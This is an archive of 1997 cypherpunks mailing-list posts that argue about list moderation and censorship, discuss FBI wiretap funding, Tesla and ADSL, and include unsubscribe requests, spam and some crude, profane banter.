Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Tue, 21 Jan 1997 15:21:32 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Dr. Vulis' social engineering experiment
Message-ID: <01BC07C7.DF618D90@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>   Just because an individual claims, rightly or wrongly, to be a
> big defender of freedom, involving himself or herself in causes
> like those of the Electronic Freedom Foundation, does not take
> away their right to stomp on anyone who disagrees with them on
> their own private list.

Of course

>   To claim otherwise would be as ludicrous as denying the person
> running the Anonymizer the right to expose the identities of the
> people he feels might perhaps be abusing his private system, or
> using it for nefarious purposes, such as hiding their identity 
> from others.

I suspect you intended that to be sarcasm, but to be honest I
wouldn't have caught it at all if I wasn't already aware of your 
views in this area.  The person hosting the Anonymizer *does*
have the right to do exactly this.  I don't believe they would do
so, but that is a reputation issue not a question of my rights.
If I had entered into a contract with the provider of a service of
this nature then I would have a 'right' to expect their contractual
obligations to be fulfilled, but that is not the case with the
Anonymizer and certainly not with toad.com.

regards,
-Blake (freedom of the press for those with presses)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Tue, 21 Jan 1997 10:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: HOW AM I MEANT TO GET OFF THIS LIST!
Message-ID: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain



This thing keeps saying im not on it but am!
someone help me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <Pine.SOL.3.93.970121134815.9530B-100000@pegasus.montclair.edu>
Message-ID: <Z4Nw1D100w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > 	ADSL will be the best for movies... i can't wait .
> >
> > What kind of movies?
>
> 	You're too young to watch these..:)

I'm older than you... Do you mean I'm too old to watch these?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <01BC07A2.1CDA0D80@crecy.ai.mit.edu>
Message-ID: <X9Nw1D101w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:

> Mission:
>
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it? The Web
> was conceived as offering despots and dictators a choice
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.

Phil, when I saw the subject, I thought this was another article
condemning Gilmore, Sandfort, and their disgraceful censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "MSI: Patrick D. O'Brien" <PATRICK@msiconsulting.com>
Date: Tue, 21 Jan 1997 19:07:14 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: REMOVE
Message-ID: <c=US%a=_%p=MSI_Channel_Rese%l=ALICE-970122030958Z-7813@alice.msi1cri.com>
MIME-Version: 1.0
Content-Type: text/plain


REMOVE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: manager@usaphone.com
Date: Tue, 21 Jan 1997 16:52:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: For Your Information
Message-ID: <B0000010711@webodyssey.com>
MIME-Version: 1.0
Content-Type: text/plain



We wanted to write to you first regarding an exciting development.  On behalf of our customers, we are compiling a mailing list of people like you, who would like to receive notification when our clients run specials, sales, contests and other Internet promotions.

We plan to bring you the latest and most exciting opportunities on the web. You e-mail address will never be sold or given out.  We will never be a company that sends you e-mail constantly about multi-level marketing and scams.  All of our offers will be genuine and be monitored by us for quality.  You need not do anything to remain on our list.  If you choose to receive E-mail, you may discontinue any time in the future just by replying with the word REMOVE in the subject field.

If you would like to be removed from our list IMMEDIATLY and without question, reply with REMOVE in the subject field. You can also send email to mailto:manager@usaphone.com.

Thank you for your time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 21 Jan 1997 19:57:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: The Purpose of the List
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970122035658Z-57579@INET-05-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


If the cpunk list discusses only crypto, then mathematician-programmers
will do their cold work in an isolation which eliminates the need to
think about the consequences of their actions.

So discussions on philosophy, society, etc., are important, to remind
everyone of the context within which this subject operates.

However, if "community feeling" is the only thing created on the list,
and crypto is no longer the focal topic, then what is to be
accomplished: the list will become just a playing ground for wayward
KOTM PhDs who are not welcome in most other cyberspaces.

So the question of "how will this impact society", must maintain
association with "but how does this relate to crypto?".  (unless the
list has changed its stripes, evolving into something completely
different, which many will agree it has).

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@worf.qntm.com>
Date: Tue, 21 Jan 1997 18:06:17 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail: User unknown
Message-ID: <199701220206.SAA16223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While connected to mail.qntm.com. [146.174.80.52] (tcp):
>>> RCPT To:<remove@mail.qntm.com>
<<< 550 <remove@mail.qntm.com>... User unknown
550 <remove@quantum.com>... User unknown



To: CV Communications <sales@quantcom.com>, remove@qntm.com
Subject: Re: Customers For You!!
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Date: Tue, 21 Jan 1997 20:04:27 -0600

FUCK YOU SPAMMER

At 04:27 PM 1/21/97 -0500, you wrote:
>The following message has been brought to you by Quantum Communications.
>If you would like advertising rates and information, send an email to
info@quantcom.com
>or visit our website http://www.quantcom.com
>If you prefer NOT to receive promotional messages inthe future, send an
email to 
>remove@quantcom.com
>
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>info via email, please be sure to include your voice phone # and best
>time to call, unless you would prefer not to be contacted via
>telephone to follow up.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 18:04:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition (fwd)
Message-ID: <199701220211.UAA06443@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 17:11:24 -0600
> From: Rick Smith <smith@sctc.com>
> 
> simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Now there is a blast from the past. I was working at UT Austin in '82 on my
EE. I had to work part-time at the school for a non-classified project for
the DoD (only way they would let students work on projects on the main
campus). We were building a non-Von Neumann RTL (mono-bus computer) based
router for the ARPANet using the 181's clocked at 40MHz (fastest they were
reliable at) as the ALU's behind the registers. Couldn't find a way to
saturate the machine (had 64 serial ports driving 64 Z80's @ 4MHz sitting
on the RTL bus as addresses registers) on I/O. One of the guys working on
the project was taking an electronic music class from one of the members of
Journey (who was teaching a 1 time 1 semester class on electronic music) so
we ended up using it as a synthesizer. Worked damn well. Don't know what the
DoD did with it afterwards.

Thanks for the reminder of some fond memories.

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 21 Jan 1997 01:17:18 -0800 (PST)
To: lucifer@dhp.com (Anonymous)
Subject: Re: Take it to sci.math
In-Reply-To: <199701201611.IAA12389@toad.com>
Message-ID: <19970121091654.3561.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> >and
> >
> >4) This bullshit is extremely annoying to those of us who has some real
> >        training in math, even more so than the regular bullshit on this list.

Perhaps your 'real training in math' could show itself and put an end to
the discussion.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 21 Jan 1997 07:10:31 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: Take it to sci.math
Message-ID: <199701211510.HAA06961@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> >and
> >
> >4) This bullshit is extremely annoying to those of us who has some real
> >        training in math, even more so than the regular bullshit on this list.

Perhaps your 'real training in math' could show itself and put an end to
the discussion.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 21 Jan 1997 20:15:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <199701220416.UAA21632@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


||| FBI moderates its communications-surveillance request |||

TBTF for 5/4/95 [6]

In 1995 the FBI asked for and was granted $500 million to augment the
government's ability to tap communications (of this total $100M has
been released to the FBI so far). Privacy advocates expressed outrage
at the FBI's stated capacity goal: to be able to listen in on 1% of
installed telephone lines at any time. This translates to about 1.6
million taps simultaneous of all kinds: pen registers, trap-and-trace,
and wiretaps. The FBI withdrew its initial proposal under fire and on
1/14 submitted a revised proposal -- press release at [7], analysis
at [8]. Unlike the earlier draft, this essay lays out its assumptions
and straightforwardly projects needed capacity growth. The result is
a capacity figure of fewer than 60,000 intercepts, less that 4% of
the original request. This level of capability would allow the FBI
simultaneously to monitor more than 500 phone lines in an area with
the population of Manhatta still an enormous increase on historical 
numbers of intercepts.

[6]  <http://www.tbtf.com/archive/05-04-95.html>
[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
[8]  <http://www.cdt.org/publications/pp_3.01.html>

Fuck the FBI.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 21 Jan 1997 17:21:07 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701212027.MAA11310@toad.com>
Message-ID: <Pine.LNX.3.95.970121195907.308B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 21 Jan 1997, Phillip M. Hallam-Baker wrote:

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.

I'm not sure how effective this would be.  This depends mostly on security
through obscurity.  If the censors are very dedicated to making sure that all
sites containing offending content are blocked, then there might be a few
hours between the time when the mirror is set up and when it gets blocked.

I prefer to think of the solution to this problem as a denial of service attack
rather than just relying on obscurity.  If the goal is to make sure that a
large number of people have access to the mirrors, then the chances are it will
be blocked fairly quickly.  If many different diverse sites set up mirrors,
this would effectively cut off that country's access to the web.  This still
does rely on some obscurity, such as being able to change URLs on a site
frequently so the whole site has to be blocked instead of just the offending
URL.

A series of linguistic instructions on generating the URL could easily evade
any bot seeking out notices of new URLs.  This might be spelling out the URL,
telling the user to find the MD5 hash of a specified string (a cgi interface
for md5sum might be useful for this example), or any obscure method of encoding
an URL that should be easy for any person to understand, but impossible for a
program to parse.

> 2b) Use DHCP to change network addresses regularly.

If this change is regular enough, then it might force the censors to block the
whole network and not just the host.  Definitely a positive.



Mark
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MkB+ADvEc3noCxyB3w2y+ThoK41o8caDzWJGWjJ9zf+GGtusWNcYHA==
=JS38
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 18:32:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls) (fwd)
Message-ID: <199701220239.UAA06540@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 17:29:05 -0800
> From: Steve Schear <azur@netcom.com>
> Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
> 
> followed up, but it seems entirely reasonable a practicle.  In fact I'm
> surprised that Hollywood hasn't latched onto this in order to dub film
> stars to different languages w/o loosing their recognizable voice
> characteristics.

In this regards you people (en toto) need to do a little more real world
research in this area. Voice recognition is and has been easy to do for
decades. As to what Hollywood is doing, not only are they doing voice
masking but your local radio station does it on a regular basis [1] for a
few $1,000's in hardware and software.


[1] Video Toaster User
    Dec. 1996
    Toaster Talk - "Learning from radio"
    pp. 6


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 20:48:44 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <3.0.32.19970121174238.00687e7c@smtp1.abraxis.com>
Message-ID: <32E59C0E.29DE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> :Jane Jefferson wrote:
> :> The heart and soul of the problem is that "sin", "freedom", "good",
> :> and "evil" are abstract concepts which fluctuate from individual to
> :> individual.

> Not only from individual to individual.
> Please consider the changes in the concepts of "sin", "freedom", "good",
> and "evil" which occur over time even within the same individual; to
> wit the on and off again love affair with our nation's past "enemies;
> individual responses to drug use especially alcohol; premarital sex
> (ok for me but not my daughter).
> This constant flux within both society and individual makes creation
> and implementation of rules extremely difficult and hazardous.

The idea that "sin" and "evil" are abstract and somewhat arbitrary is
merely a human (and therefore faulty) perception.

If God can be perfect by definition (for sake of argument), then "sin"
is taking one's attention from God's intent and turning to man's intent,
which is inherently selfish.  "Evil" is the selfish thing you do, when
you should do the unselfish thing.

These are not that difficult to understand, but are easily twisted by
selfish minds.

A gentleman wrote to Southern Partisan magazine a few years ago and
said "Real freedom is not the license to do whatever you want, but
rather the liberty to do what you ought to do".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 20:53:42 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: The Purpose of the List
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970122035658Z-57579@INET-05-IMC.microsoft.com>
Message-ID: <32E59D1E.C23@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:
> If the cpunk list discusses only crypto, then mathematician-programmers
> will do their cold work in an isolation which eliminates the need to
> think about the consequences of their actions.
> So discussions on philosophy, society, etc., are important, to remind
> everyone of the context within which this subject operates.
> However, if "community feeling" is the only thing created on the list,
> and crypto is no longer the focal topic, then what is to be
> accomplished: the list will become just a playing ground for wayward
> KOTM PhDs who are not welcome in most other cyberspaces.
> So the question of "how will this impact society", must maintain
> association with "but how does this relate to crypto?".  (unless the
> list has changed its stripes, evolving into something completely
> different, which many will agree it has).

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Paul Johnson" <mpj@csn.net>
Date: Tue, 21 Jan 1997 20:43:07 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: North American crypto site -- correction
Message-ID: <199701220429.VAA12571@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Correction: the "front door" to the North American crypto site is
http://www.sni.net/~mpj/usa/getcrypt.htm (the /usa was missing in
in an earlier post)

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-----END PGP SIGNATURE-----
Jesus Christ is coming back with power and glory!  Are you READY?
mailto:mpj@csn.net Bible site-> http://www.sni.net/~mpj  Is 40:31
BBS 303-772-1062       PGPprint=3E67A5800DFBD16A 6D52D3A91C074E41





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 21:34:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Encrypting ZIP drives?
Message-ID: <3.0.32.19970121213536.006e9ce4@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 18:50:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
In-Reply-To: <Z4Nw1D100w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121214634.17090A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > 	ADSL will be the best for movies... i can't wait .
> > >
> > > What kind of movies?
> >
> > 	You're too young to watch these..:)
> 
> I'm older than you... Do you mean I'm too old to watch these?

	Yes physically you are older and wiser;
	And watching 'wild orchid' would be detrimental to your health.
		
	thinking of you, oksas!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 22:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199701212345.PAA17403@sirius.infonex.com>
Message-ID: <32E5AFA8.768E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mixmaster wrote:

> Is there a moderated list available which expunges only Dale?
> The good Dr., though vicious, is really quite clever, though vicious.
> Dale is only a bore. Only.
> Hugs to all.

I laughed so hard I nearly peed my pants.  BTW, does the word
"peed" make this post go into the dumper??  [hee hee]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 19:21:00 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <kDcs1D62w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121221534.17671A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > >
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > >
> > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > >
> > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > > I say we make people fly naked and ship their stuff via UPS ;
> > > > > > >
> > > > > > > > >     >>shudder<<
> > > > > > > > >     No!. A clear case of the cure being worse than the disease.
> > > > > > >
> > > > > > > > Why. it might be fun - those long flight can be so boring with cl
> > > > > > >
> > > > > > > This one I really don't understand.  Cypherpunks lobbied heavily fo
> > > > > > > the Final Solution to Spamming and flaming, now along comes the per
> > > > > > > solution to the airport security problem, and nobody's gonna go for
> > > > > > >
> > > > > > > Guess those old, out-of-shape guys don't want anybody laughing at t
> > > > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > > > compartment.  And planes have those little blankets and pillows,
> > > > > > > so what's the problem?
> > > > > >
> > > > > > 	Cold temps...
> > > > >
> > > > > What can naked people do to keep warm???
> > > >
> > > > 	steal blankets from nearby passenger..
> > >
> > > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > > and everybody was supposed to work naked so it would be hard to steal
> > > some of the product. Of course in the movie all the employees were good-
> > > looking women (Oksas would have been the big star!).
> >
> > 	Thank you for the complement;  You've only seen me with clothes :)
> 
> I can tell.
> 
> > 	Would you like to share my blanket?
> 
> Sure!  A true gentleman (like me) is always ready, willing, and able to share
> a security blanket with a lady.

	I am very embarassed...
> 
> "Something nekkid's in the air!"
> 
	i think i am in trouble ;)
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 21 Jan 1997 19:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Seismic Crypto
Message-ID: <1.5.4.32.19970122033948.00705368@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In a NYT report today on a "mysterious" blast in the
Australian outback in 1993, there's mention of "seismic
weapons" and research on them by Nicholas Tesla
in the 1930s.

Would any of our weapons connoisseurs have more
info on what these are and how they were supposed to
work? Electrical, chemical, nuclear?

That Aussie blast has still not been identified except
that it was something in the nuclear weapon, earthquake or 
meteorite range. The Arum sect, which owned 500,000
acres in the viciniity, was a suspect for a while but later 
cleared, although it was looking into seismic weapons.

Will send the story:

WHA_the

Or read it at www.nytimes.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 20:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nikola Tesla
Message-ID: <199701220449.WAA06765@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 22:39:48 -0500
> From: John Young <jya@pipeline.com>
> Subject: Seismic Crypto
> 
> In a NYT report today on a "mysterious" blast in the
> Australian outback in 1993, there's mention of "seismic
> weapons" and research on them by Nicholas Tesla
> in the 1930s.

First, it's Nikola Tesla. At least do the man the honor of getting his name
correct (he is a personal hero of mine), I mean he ONLY invented the AC
power system we use today, the first commercial power generation plant at
Niagra Falls in the world, the first torpedo which he sold to the Russians
because the USN was too stupid to buy it, radio, remote control via radio,
wireless power transmission, etc...

Second, there is a LOT of hogwash attributed to Nikola which he in actuality
never worked on (ie death rays, flying saucers to the interior of the Earth,
etc.). If you would like to learn more about him then check out
"The Writings and Inventions of Nikola Tesla", it was proofed by him prior
to its publication. You will also find in most bookstores a copy of all his
American patents in "The Collected Patents of Nikola Tesla". I apologize for
not providing ISBN's but my copies are 30 miles away in my shop being used
to build Tesla Coils. I would strongly suggest avoiding the Tesla Society as
it is, in my opinion, populated by a bunch of UFO and conspiracy crazies
(though a small percentage of their articles are useable).

His work on 'artificial earthquakes' dealt with his studies on mechanical
coupling between tuned oscillators. He was finaly 'asked' to leave because
he would get 4-5 square block areas of New York rocking, much to the chagrin
of the residents, by coupling pile-driver like oscillators to the building
he lived in.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:51:20 -0800 (PST)
To: amanda@intercon.com (Amanda Walker)
Subject: Re: Wow.
Message-ID: <3.0.1.32.19970120211054.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:58 AM 1/19/97 -0500, Amanda Walker wrote:
>I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
>CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
>called "cypherpunks", but it doesn't have much cypherpunk left in it, as
>far as I can tell.

To some extent it's bad timing - there's been enough flaming on the
list (including a few bad apples really harassing it) that John Gilmore
decided it was time to start moderating the list, and that's led to
a bunch of flames about moderation.  But it was getting pretty bad.

About a year ago the coderpunks@toad.com list got started;
it's just for discussing code and related issues, not politics.
It's moderated by the "Please be nice, and we'll kick you off for abuse"
method, and it's worked out fine, though it's usually quiet.
Also, a month or two ago, Perry Metzger started cryptography@c2.net ,
which is a bit more general but not for flaming.  Perry moderates it.
Both use -request to find the listbot.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:52:57 -0800 (PST)
To: "roamer.fau" <roamer@fau.campus.mci.net>
Subject: Re: mailing list
Message-ID: <3.0.1.32.19970120211347.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:54 AM 1/18/97 -0500, roamer.fau wrote:
>Please place me on your mailing list.           
>						Thank You,
>															  Mark
>
>
cypherpunks-request@toad.com
	"help"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:53:00 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
Message-ID: <3.0.1.32.19970120213409.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign, 
I think you have to give Gary all the credit for that;
the "Hey, I'm not doing anything wrong and you could follow me
around 24 hours a day and not find anything" bit convinced me that
Hart was a major flake, and doing it when the only credible
Democrat to take over after him was Walter F@#&! Mondale
was just unconscionable.  If he'd said something like "Get Off My Ass" or
"Reagan's not on his first wife, so what's your point" or
"my marriage is off limits" or whatever I'd have had some respect,
and for a Democrat he hadn't seemed to be that bad.

> but when she tries to tell me what I should or shouldn't be able to 
> see, my reply *must* be:
>	Fuck you, you hypocritical, ignorant, little slut.
>I am also going to take issue with her trysting with a married man. 
>I wish Hart's wife had verbally beaten the living shit out of her.

She's a _former_ bimbo, who has ostensibly rehabilitated herself.
Not that that puts her in a position to throw stones at other people..

>Obligatory Crypto Policy reference: Why couldn't she have scuttled 
>Feurher Clinton's career, instead?

Not enough room to fool around on a bass-fishing boat?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:51:13 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: ADSL (Was: GSM technology
Message-ID: <3.0.1.32.19970120223838.00635068@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.  Of course, your local telco has to 
have something useful to do with the bits once the user sends
them to the telco, and has to have some useful bits to send the user.
This means they've got to haggle about standards for 5 more years
(or just do the right thing and deploy IP, with some respectable
bandwidth to the outside world) (or deploy ATM to get a layer 2
connection to something outside.)

Don't know if the telcos have a clue about pricing, either.
It's obviously got to be more than cost, but they'll probably 
thrash around a lot the way they did with IP....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Tue, 21 Jan 1997 15:17:53 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <32E53982.3794@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.93.970121230928.4248A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Toto wrote:

> Marc wrote:
> > 
> > This thing keeps saying im not on it but am!
> > someone help me.
> 
>   It wouldn't hurt to provide details of what commands you are sending
> to the majordomo and what you receive back from it.
> 
> Toto
> 
I have done the un do thing will al options and it removed me when i first
